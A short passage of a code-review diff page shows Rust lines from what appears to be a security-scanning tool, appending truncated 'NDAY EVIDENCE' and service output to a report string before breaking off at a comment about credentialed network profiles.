}
|
||||
if !nday.evidence.is_empty() {
|
||||
r.push_str(&format!("\nNDAY EVIDENCE:\n{}\n", nday.evidence.chars().take(4000).collect::<String>()));
|
||||
}
|
||||
}
|
||||
r.push_str(&svc_output);
|
||||
}
|
||||
}
|
||||
// Network/AD profiles with an authorized SSH/Windows credential get a
|
||||
|
||||
Reference in new issue
Block a user